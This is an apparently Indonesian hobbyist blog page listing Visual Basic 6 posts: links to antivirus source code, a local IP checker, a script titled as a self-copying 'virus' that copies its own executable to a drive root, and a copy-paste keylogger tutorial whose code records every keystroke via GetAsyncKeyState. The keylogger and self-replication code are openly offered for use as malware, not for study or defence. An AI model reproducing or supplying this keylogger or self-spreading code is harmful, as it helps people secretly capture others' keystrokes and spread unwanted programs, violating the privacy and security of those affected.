CAV Source Code

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

Assalamualaikum.wr.wb. setelah beberapa hari yang lalu saya mengpost Source Code ATV Guard kali ini saya akan mengpost Source code CAV Berikut SSnya :

Berikut SC : Disini
Sekian Post yang saya berikan semoga bermanfaat

[ Baca Selengkapnya...]

Source code ATV GUARD32

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

assalamualaikum.wr.wb. udah lama Ane ga ngepost karena sibuk RL. Bagi yg ingin membuat Anti Virus Dengan VB6  saya Punya source code ATV Guard32 jadi anda tinggal mengedit - edit saja dan menambah kan signaturenya tanpa basa basi ni SC nya:

Disini

NB : jangan lupa mencantumkan nama pembuatnya 

[ Baca Selengkapnya...]

Script Menggandakan Diri VIRUS

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

Buat 1 buah Command nama terserah anda lalu Copy lick dibawah ini

Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Sub Command1_Click()

Dim iRetFunction As Long

iRetFunction = CopyFile(App.Path & "\" & App.EXEName & ".EXE", Left$(Drive1.Drive, 1) & "\" & App.EXEName & ".EXE", 0)

If iRetFunction > 0 Then

    MsgBox "Berhasil melakukan penggandaan ke : " & Left$(Drive1.Drive, 1) & ":\" & App.EXEName & ".EXE", vbInformation, "Virus"

Else

    MsgBox "Gagal melakukan penggandaan ke : " & Left$(Drive1.Drive, 1) & ":\" & App.EXEName & ".EXE", vbCritical, "Virus"
 
End If

End Sub

[ Baca Selengkapnya...]

Cara membuat Aplikasi Cek IP dengan VB6

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

assalamualaikum wr.wb kali ini saya akan memberikan sedikit source kode untuk mencek IP langsung aj nih
Bahan2 yg harus digunakaan

1. 1 Winsock (bagi yg belum tau cara mengambil nya Klik Ctrl + T lalu cari Microsoft winsock control 6.0 centang lalu Ok berikut SS nya

2. 1 Command Button Caption Cek IP , Name cmdIp

lalu copy source kode ini:


Private Sub cmdIP_Click()
MsgBox Winsock1.LocalIP
End Sub


Bagi yg kurang jelas bisa download Source kode nya nih :
Disini

Bagi yg ingin mendapatkan tanpa harus membuat nya disini :
Disini


Sekian info yang saya berikan semoga bermanfaat

[ Baca Selengkapnya...]

Cara membuat Keylogger dengan VB6

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

assalamualaikum.wr.wb kali ini saya akan memberikan script untuk membuat keylogger dengan VB6 langsung aja copas script nya

Alat2 yg perlu disediakan

1 buah timer interval 1
2 buah command,
command1 caption Start, Name cmdstart
command2 caption stop, name cmdStop
1 buah Text Box



'Kunjungi terus thecyberbatik.blogspot.com


'Script ini untuk Merekam semua ketikan
Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

'Script ini untuk menjalankan keylogger
Private Sub cmdStart_Click()
Timer1.Enabled = True
MsgBox "Keylog Start .", vbInformation
End Sub

'Script ini untuk menghentikan Keylogger
Private Sub cmdStop_Click()
Timer1.Enabled = False
MsgBox "Keylog Stop .", vbInformation
End Sub


Sekian Info yg saya berikan semoga bermanfaat

Yg mau liat hasilnya ni
http://www.tusfiles.net/s9jeiuujvw97

[ Baca Selengkapnya...]